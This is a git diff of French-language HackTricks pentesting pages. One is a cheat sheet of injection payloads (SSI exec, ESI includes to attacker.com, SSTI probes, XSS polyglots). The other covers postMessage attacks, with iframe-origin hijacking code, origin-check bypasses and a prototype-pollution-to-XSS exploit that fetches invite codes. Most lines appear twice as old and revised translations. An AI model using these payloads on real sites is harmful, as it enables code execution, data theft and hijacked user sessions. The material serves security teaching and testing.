## [Inclusion côté serveur / Inclusion côté Edge](../server-side-inclusion-edge-side-inclusion-injection.md)
|
||||
|
||||
## Tests de base
|
||||
### Tests de base
|
||||
```markup
|
||||
<!--#echo var="DATE_LOCAL" -->
|
||||
<!--#exec cmd="ls" -->
|
||||
<esi:include src=http://attacker.com/>
|
||||
x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
|
||||
```
|
||||
## Polyglottes
|
||||
### Polyglottes
|
||||
```markup
|
||||
<!--#echo var="DATE_LOCAL" --><!--#exec cmd="ls" --><esi:include src=http://attacker.com/>x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
|
||||
```
|
||||
# [Forgery de requête côté serveur](../ssrf-server-side-request-forgery/)
|
||||
## [Falsification de Requête Côté Serveur](../ssrf-server-side-request-forgery/)
|
||||
|
||||
Les mêmes tests utilisés pour les redirections ouvertes peuvent être utilisés ici.
|
||||
Les mêmes tests utilisés pour la Redirection Ouverte peuvent être utilisés ici.
|
||||
|
||||
# [Injection de modèle côté serveur](../ssti-server-side-template-injection/)
|
||||
## [Injection de Modèle Côté Serveur](../ssti-server-side-template-injection/)
|
||||
|
||||
## Tests de base
|
||||
### Tests de Base
|
||||
```markup
|
||||
${{<%[%'"}}%\
|
||||
{{7*7}}
|
||||
|
@ -170,30 +169,30 @@ ${7*7}
|
|||
${{7*7}}
|
||||
#{7*7}
|
||||
```
|
||||
## Polyglottes
|
||||
### Polyglottes
|
||||
```python
|
||||
{{7*7}}${7*7}<%= 7*7 %>${{7*7}}#{7*7}${{<%[%'"}}%\
|
||||
```
|
||||
# [Injection XSLT côté serveur](../xslt-server-side-injection-extensible-stylesheet-languaje-transformations.md)
|
||||
## [Injection côté serveur XSLT](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
|
||||
|
||||
## Tests de base
|
||||
### Tests de base
|
||||
```markup
|
||||
<xsl:value-of select="system-property('xsl:version')" />
|
||||
<esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl"></esi:include>
|
||||
```
|
||||
## Polyglottes
|
||||
### Polyglottes
|
||||
```markup
|
||||
<xsl:value-of select="system-property('xsl:version')" /><esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl"></esi:include>
|
||||
```
|
||||
# XSS
|
||||
## XSS
|
||||
|
||||
## Tests de base
|
||||
### Tests de base
|
||||
```markup
|
||||
" onclick=alert() a="
|
||||
'"><img src=x onerror=alert(1) />
|
||||
javascript:alert()
|
||||
```
|
||||
## Polyglottes
|
||||
### Polyglottes
|
||||
```markup
|
||||
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*<svg/*/onload=alert()//>
|
||||
-->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``>
|
||||
|
@ -223,16 +222,14 @@ javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembe
|
|||
```
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -4,17 +4,19 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Envoyer un **PostMessage**
|
||||
## Envoyer **PostMessage**
|
||||
|
||||
**PostMessage** utilise la fonction suivante pour envoyer un message :
|
||||
```bash
|
||||
|
@ -43,84 +45,92 @@ win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
|
|||
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
|
||||
```
|
||||
Notez que **targetOrigin** peut être un '\*' ou une URL comme _https://company.com._\
|
||||
Dans le **deuxième scénario**, le **message ne peut être envoyé qu'à ce domaine** (même si l'origine de l'objet fenêtre est différente).\
|
||||
Si le **joker** est utilisé, les **messages pourraient être envoyés à n'importe quel domaine**, et seront envoyés à l'origine de l'objet Window.
|
||||
Dans le **deuxième scénario**, le **message ne peut être envoyé qu'à ce domaine** (même si l'origine de l'objet window est différente).\
|
||||
Si le **joker** est utilisé, **les messages pourraient être envoyés à n'importe quel domaine**, et seront envoyés à l'origine de l'objet Window.
|
||||
|
||||
### Attaque de l'iframe et du joker dans **targetOrigin**
|
||||
### Attaquer un iframe & joker dans **targetOrigin**
|
||||
|
||||
Comme expliqué dans [**ce rapport**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/), si vous trouvez une page qui peut être **iframée** (sans protection `X-Frame-Header`) et qui envoie des messages **sensibles** via **postMessage** en utilisant un **joker** (\*), vous pouvez **modifier** l'**origine** de l'**iframe** et **fuir** le **message sensible** vers un domaine contrôlé par vous.\
|
||||
Comme expliqué dans [**ce rapport**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/) si vous trouvez une page qui peut être **iframée** (pas de protection `X-Frame-Header`) et qui **envoie un message sensible** via **postMessage** en utilisant un **joker** (\*), vous pouvez **modifier** l'**origine** de l'**iframe** et **fuir** le **message sensible** vers un domaine que vous contrôlez.\
|
||||
Notez que si la page peut être iframée mais que le **targetOrigin** est **défini sur une URL et non sur un joker**, cette **astuce ne fonctionnera pas**.
|
||||
```markup
|
||||
<html>
|
||||
<iframe src="https://docs.google.com/document/ID" />
|
||||
<script>
|
||||
setTimeout(exp, 6000); //Wait 6s
|
||||
|
||||
//Try to change the origin of the iframe each 100ms
|
||||
function exp(){
|
||||
setInterval(function(){
|
||||
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
|
||||
}, 100);
|
||||
}
|
||||
</script>
|
||||
<iframe src="https://docs.google.com/document/ID" />
|
||||
<script>
|
||||
setTimeout(exp, 6000); //Wait 6s
|
||||
|
||||
//Try to change the origin of the iframe each 100ms
|
||||
function exp(){
|
||||
setInterval(function(){
|
||||
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
|
||||
}, 100);
|
||||
}
|
||||
</script>
|
||||
```
|
||||
## Exploitation de addEventListener
|
||||
|
||||
**`addEventListener`** est la fonction utilisée par JS pour déclarer la fonction qui **attend les `postMessages`**.\
|
||||
Un code similaire à celui-ci sera utilisé :
|
||||
**`addEventListener`** est la fonction utilisée par JS pour déclarer la fonction qui **attend des `postMessages`**.\
|
||||
Un code similaire au suivant sera utilisé :
|
||||
```javascript
|
||||
window.addEventListener("message", (event) => {
|
||||
if (event.origin !== "http://example.org:8080")
|
||||
return;
|
||||
if (event.origin !== "http://example.org:8080")
|
||||
return;
|
||||
|
||||
// ...
|
||||
// ...
|
||||
}, false);
|
||||
```
|
||||
Notez dans ce cas comment la **première chose** que le code fait est de **vérifier l'origine**. C'est terriblement **important**, surtout si la page va faire **quelque chose de sensible** avec les informations reçues (comme changer un mot de passe). **Si elle ne vérifie pas l'origine, les attaquants peuvent faire en sorte que les victimes envoient des données arbitraires à ces points d'extrémité** et changer les mots de passe des victimes (dans cet exemple).
|
||||
Notez dans ce cas comment la **première chose** que fait le code est de **vérifier l'origine**. C'est extrêmement **important**, surtout si la page doit effectuer des actions **sensibles** avec les informations reçues (comme changer un mot de passe). **Si elle ne vérifie pas l'origine, les attaquants peuvent amener les victimes à envoyer des données arbitraires à ces points de terminaison** et changer les mots de passe des victimes (dans cet exemple).
|
||||
|
||||
### Énumération
|
||||
|
||||
Afin de **trouver des écouteurs d'événements** sur la page actuelle, vous pouvez :
|
||||
Pour **trouver des écouteurs d'événements** sur la page actuelle, vous pouvez :
|
||||
|
||||
* **Rechercher** le code JS pour `window.addEventListener` et `$(window).on` (version _JQuery_)
|
||||
* **Chercher** dans le code JS `window.addEventListener` et `$(window).on` (_version JQuery_)
|
||||
* **Exécuter** dans la console des outils de développement : `getEventListeners(window)`
|
||||
|
||||
![](<../../.gitbook/assets/image (618) (1) (1).png>)
|
||||
|
||||
* **Aller à** _Elements --> Event Listeners_ dans les outils de développement du navigateur
|
||||
* **Aller à** _Éléments --> Écouteurs d'événements_ dans les outils de développement du navigateur
|
||||
|
||||
![](<../../.gitbook/assets/image (617).png>)
|
||||
|
||||
* Utilisez une **extension de navigateur** comme [**https://github.com/benso-io/posta**](https://github.com/benso-io/posta) ou [https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker). Ces extensions de navigateur **intercepteront tous les messages** et vous les montreront.
|
||||
* Utiliser une **extension de navigateur** comme [**https://github.com/benso-io/posta**](https://github.com/benso-io/posta) ou [https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker). Ces extensions de navigateur vont **intercepter tous les messages** et vous les montrer.
|
||||
|
||||
### Bypass de base de vérification d'origine
|
||||
### Contournements de la vérification d'origine
|
||||
|
||||
* Si **`indexOf()`** est utilisé pour **vérifier** l'**origine** de l'événement PostMessage, rappelez-vous qu'il peut être facilement contourné comme dans l'exemple suivant : `("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")`\\
|
||||
* Si **`search()`** est utilisé pour **valider** l'**origine**, cela peut être insécurisé. Selon la documentation de `String.prototype.search()`, la méthode **prend un objet d'expression régulière** au lieu d'une chaîne. Si autre chose qu'une expression régulière est passé, il sera implicitement converti en une expression régulière.\
|
||||
Dans une expression régulière, **un point (.) est traité comme un caractère générique**. Un attaquant peut en profiter et **utiliser** un **domaine spécial** au lieu de celui officiel pour contourner la validation, comme dans : `"https://www.safedomain.com".search("www.s.fedomain.com")`.\\
|
||||
* Si la fonction **`escapeHtml`** est utilisée, la fonction ne crée pas un nouvel objet échappé, mais elle **écrase les propriétés** de l'objet existant. Cela signifie que si nous sommes capables de créer un objet avec une propriété contrôlée qui ne répond pas à `hasOwnProperty`, elle ne sera pas échappée.
|
||||
* **`event.isTrusted`** est vrai lorsque l'événement a été généré par une action de l'utilisateur. Pas vraiment contournable si correctement mis en place, mais il vaut la peine d'être mentionné.
|
||||
* Si **`indexOf()`** est utilisé pour **vérifier** l'**origine** de l'événement PostMessage, rappelez-vous qu'il peut être facilement contourné comme dans l'exemple suivant :
|
||||
```javascript
|
||||
("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")
|
||||
```
|
||||
* Si **`search()`** est utilisé pour **valider** l'**origine**, cela pourrait être non sécurisé. Selon la documentation de `String.prototype.search()`, la méthode **prend un objet d'expression régulière** au lieu d'une chaîne de caractères. Si autre chose qu'une regexp est passée, cela sera implicitement converti en regex.\
|
||||
Dans une expression régulière, **un point (.) est traité comme un joker**. Un attaquant peut en tirer avantage et **utiliser** un **domaine spécial** au lieu de l'officiel pour contourner la validation, comme dans :
|
||||
```javascript
|
||||
"https://www.safedomain.com".search("www.s.fedomain.com")
|
||||
```
|
||||
* Tout comme dans l'exemple précédent, **`match()`** vérifie également une **regex**, donc si la regex est mal formée, elle pourrait être **contournable**.
|
||||
* Si la fonction **`escapeHtml`** est utilisée, la fonction ne crée pas un objet échappé `new`, à la place elle **écrase les propriétés** de l'objet existant. Cela signifie que si nous sommes capables de créer un objet avec une propriété contrôlée qui ne répond pas à `hasOwnProperty`, elle ne sera pas échappée.
|
||||
```javascript
|
||||
// Expected to fail:
|
||||
result = u({
|
||||
message: "'\"<b>\\"
|
||||
message: "'\"<b>\\"
|
||||
});
|
||||
result.message // "'"<b>\"
|
||||
// Bypassed:
|
||||
result = u(new Error("'\"<b>\\"));
|
||||
result.message; // "'"<b>\"
|
||||
```
|
||||
L'objet `File` est parfait pour cette exploitation car il possède une propriété en lecture seule `name` qui est utilisée par notre modèle et contournera la fonction `escapeHtml`.
|
||||
L'objet `File` est parfait pour cette exploitation car il possède une propriété `name` en lecture seule qui est utilisée par notre modèle et contournera la fonction `escapeHtml`.
|
||||
|
||||
### Contournement de e.origin == window.origin
|
||||
|
||||
Lorsqu'une page est intégrée dans une **iframe sandboxée** via `<iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">`, l'**origine** de cette **iframe** sera **`null`**.
|
||||
Lorsqu'une page est intégrée dans une **iframe sandboxée** via `<iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">`, l'**origin** de cette **iframe** sera **`null`**.
|
||||
|
||||
Lorsque la valeur de **sandbox `allow-popups` est définie**, la **popup ouverte** **héritera** de tous les **attributs sandboxés** sauf si `allow-popups-to-escape-sandbox` est défini.\
|
||||
Ainsi, l'ouverture d'une **popup** à partir d'une **origine nulle** rendra également **`window.origin`** à l'intérieur de la popup **`null`**.
|
||||
Lorsque la **valeur sandbox `allow-popups` est définie**, alors la **popup ouverte** héritera de tous les **attributs sandboxés** à moins que `allow-popups-to-escape-sandbox` ne soit défini.\
|
||||
Ainsi, ouvrir une **popup** depuis une **origin null** rendra **`window.origin`** à l'intérieur de la popup également **`null`**.
|
||||
|
||||
Par conséquent, si vous ouvrez une **iframe sandboxée** autorisant les popups, puis vous **ouvrez une popup** à partir de l'intérieur de l'iframe, et **envoyez un message** de l'iframe **à la popup**, les deux origines sont nulles, donc: **`e.origin == window.origin == null`**
|
||||
Par conséquent, si vous ouvrez une **iframe sandboxée** autorisant les popups, puis vous **ouvrez une popup** depuis l'intérieur de l'iframe, et **envoyez un postMessage** de l'iframe **à la popup**, les deux origins sont null donc : **`e.origin == window.origin == null`**
|
||||
|
||||
Pour plus d'informations, **lisez**:
|
||||
Pour plus d'informations **lisez** :
|
||||
|
||||
{% content-ref url="bypassing-sop-with-iframes-1.md" %}
|
||||
[bypassing-sop-with-iframes-1.md](bypassing-sop-with-iframes-1.md)
|
||||
|
@ -128,27 +138,34 @@ Pour plus d'informations, **lisez**:
|
|||
|
||||
### Contournement de e.source
|
||||
|
||||
Vous pouvez forcer **`e.source`** d'un message à être nul en créant une **iframe** qui **envoie** le **postMessage** et est **immédiatement supprimée**.
|
||||
Il est possible de vérifier si le message provient de la même fenêtre où le script est en écoute (particulièrement intéressant pour les **Scripts de Contenu des extensions de navigateur** pour vérifier si le message a été envoyé depuis la même page) :
|
||||
```javascript
|
||||
// If it’s not, return immediately.
|
||||
if( received_message.source !== window ) {
|
||||
return;
|
||||
}
|
||||
```
|
||||
Vous pouvez forcer **`e.source`** d'un message à être null en créant un **iframe** qui **envoie** le **postMessage** et est **immédiatement supprimé**.
|
||||
|
||||
Pour plus d'informations, **lisez:**
|
||||
Pour plus d'informations **lisez :**
|
||||
|
||||
{% content-ref url="bypassing-sop-with-iframes-2.md" %}
|
||||
[bypassing-sop-with-iframes-2.md](bypassing-sop-with-iframes-2.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Contournement de l'en-tête X-Frame
|
||||
### Contournement du X-Frame-Header
|
||||
|
||||
Pour effectuer ces attaques, vous pourrez idéalement **mettre la page web victime** à l'intérieur d'un `iframe`. Mais certains en-têtes comme `X-Frame-Header` peuvent **empêcher** ce **comportement**.\
|
||||
Dans ces scénarios, vous pouvez toujours utiliser une attaque moins furtive. Vous pouvez ouvrir un nouvel onglet vers l'application web vulnérable et communiquer avec elle:
|
||||
Pour réaliser ces attaques idéalement, vous devriez pouvoir **mettre la page web victime** dans un `iframe`. Mais certains en-têtes comme `X-Frame-Header` peuvent **empêcher** ce **comportement**.\
|
||||
Dans ces scénarios, vous pouvez toujours utiliser une attaque moins discrète. Vous pouvez ouvrir un nouvel onglet vers l'application web vulnérable et communiquer avec elle :
|
||||
```markup
|
||||
<script>
|
||||
var w=window.open("<url>")
|
||||
setTimeout(function(){w.postMessage('text here','*');}, 2000);
|
||||
</script>
|
||||
```
|
||||
### Vol de message envoyé à un enfant en bloquant la page principale
|
||||
### Vol de message envoyé à l'enfant en bloquant la page principale
|
||||
|
||||
Sur la page suivante, vous pouvez voir comment vous pourriez voler des données sensibles envoyées par **postmessage** à un **iframe enfant** en **bloquant** la **page principale** avant d'envoyer les données et en exploitant un **XSS dans l'enfant** pour **fuir les données** avant qu'elles ne soient reçues :
|
||||
Dans la page suivante, vous pouvez voir comment vous pourriez voler des **données postmessage sensibles** envoyées à un **iframe enfant** en **bloquant** la page **principale** avant d'envoyer les données et en abusant d'un **XSS dans l'enfant** pour **fuir les données** avant qu'elles soient reçues :
|
||||
|
||||
{% content-ref url="blocking-main-page-to-steal-postmessage.md" %}
|
||||
[blocking-main-page-to-steal-postmessage.md](blocking-main-page-to-steal-postmessage.md)
|
||||
|
@ -156,31 +173,31 @@ Sur la page suivante, vous pouvez voir comment vous pourriez voler des données
|
|||
|
||||
### Vol de message en modifiant l'emplacement de l'iframe
|
||||
|
||||
Si vous pouvez inclure une page web sans en-tête X-Frame qui contient un autre iframe, vous pouvez **changer l'emplacement de cet iframe enfant**, donc si elle reçoit un **postmessage** envoyé en utilisant un **joker**, un attaquant pourrait **changer** l'**origine** de cet iframe vers une page **contrôlée** par lui et **voler** le message :
|
||||
Si vous pouvez intégrer une page web sans en-tête X-Frame dans un iframe qui contient un autre iframe, vous pouvez **changer l'emplacement de cet iframe enfant**, donc si il reçoit un **postmessage** envoyé en utilisant un **joker**, un attaquant pourrait **changer** l'**origine** de cet iframe vers une page **contrôlée** par lui et **voler** le message :
|
||||
|
||||
{% content-ref url="steal-postmessage-modifying-iframe-location.md" %}
|
||||
[steal-postmessage-modifying-iframe-location.md](steal-postmessage-modifying-iframe-location.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### postMessage vers la pollution de prototype et/ou XSS
|
||||
### postMessage vers Pollution de Prototype et/ou XSS
|
||||
|
||||
Dans les scénarios où les données envoyées via `postMessage` sont exécutées par JS, vous pouvez **inclure** la **page** et **exploiter** la **pollution de prototype/XSS** en envoyant l'exploit via `postMessage`.
|
||||
Dans des scénarios où les données envoyées via `postMessage` sont exécutées par JS, vous pouvez intégrer la **page** dans un iframe et **exploiter** la **pollution de prototype/XSS** en envoyant l'exploit via `postMessage`.
|
||||
|
||||
Un couple de **XSS très bien expliqués via `postMessage`** peuvent être trouvés dans [https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html)
|
||||
Un couple d'**explications très bien faites de XSS via `postMessage`** peuvent être trouvées sur [https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html)
|
||||
|
||||
Exemple d'une exploitation pour abuser de la **pollution de prototype et ensuite XSS** via un `postMessage` à un `iframe`:
|
||||
Exemple d'un exploit pour abuser de **Pollution de Prototype puis XSS** à travers un `postMessage` vers un `iframe` :
|
||||
```markup
|
||||
<html>
|
||||
<body>
|
||||
<iframe id="idframe" src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
|
||||
<script>
|
||||
function get_code() {
|
||||
document.getElementById('iframe_victim').contentWindow.postMessage('{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\\" />"}}}','*');
|
||||
document.getElementById('iframe_victim').contentWindow.postMessage(JSON.stringify("refresh"), '*');
|
||||
}
|
||||
<iframe id="idframe" src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
|
||||
<script>
|
||||
function get_code() {
|
||||
document.getElementById('iframe_victim').contentWindow.postMessage('{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\\" />"}}}','*');
|
||||
document.getElementById('iframe_victim').contentWindow.postMessage(JSON.stringify("refresh"), '*');
|
||||
}
|
||||
|
||||
setTimeout(get_code, 2000);
|
||||
</script>
|
||||
setTimeout(get_code, 2000);
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
|
@ -188,7 +205,7 @@ Pour **plus d'informations** :
|
|||
|
||||
* Lien vers la page sur la [**pollution de prototype**](../deserialization/nodejs-proto-prototype-pollution/)
|
||||
* Lien vers la page sur le [**XSS**](../xss-cross-site-scripting/)
|
||||
* Lien vers la page sur la [**pollution de prototype côté client vers XSS**](../deserialization/nodejs-proto-prototype-pollution/#client-side-prototype-pollution-to-xss)
|
||||
* Lien vers la page sur [**la pollution de prototype côté client vers XSS**](../deserialization/nodejs-proto-prototype-pollution/#client-side-prototype-pollution-to-xss)
|
||||
|
||||
## Références
|
||||
|
||||
|
@ -198,12 +215,14 @@ Pour **plus d'informations** :
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> !</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -4,13 +4,15 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
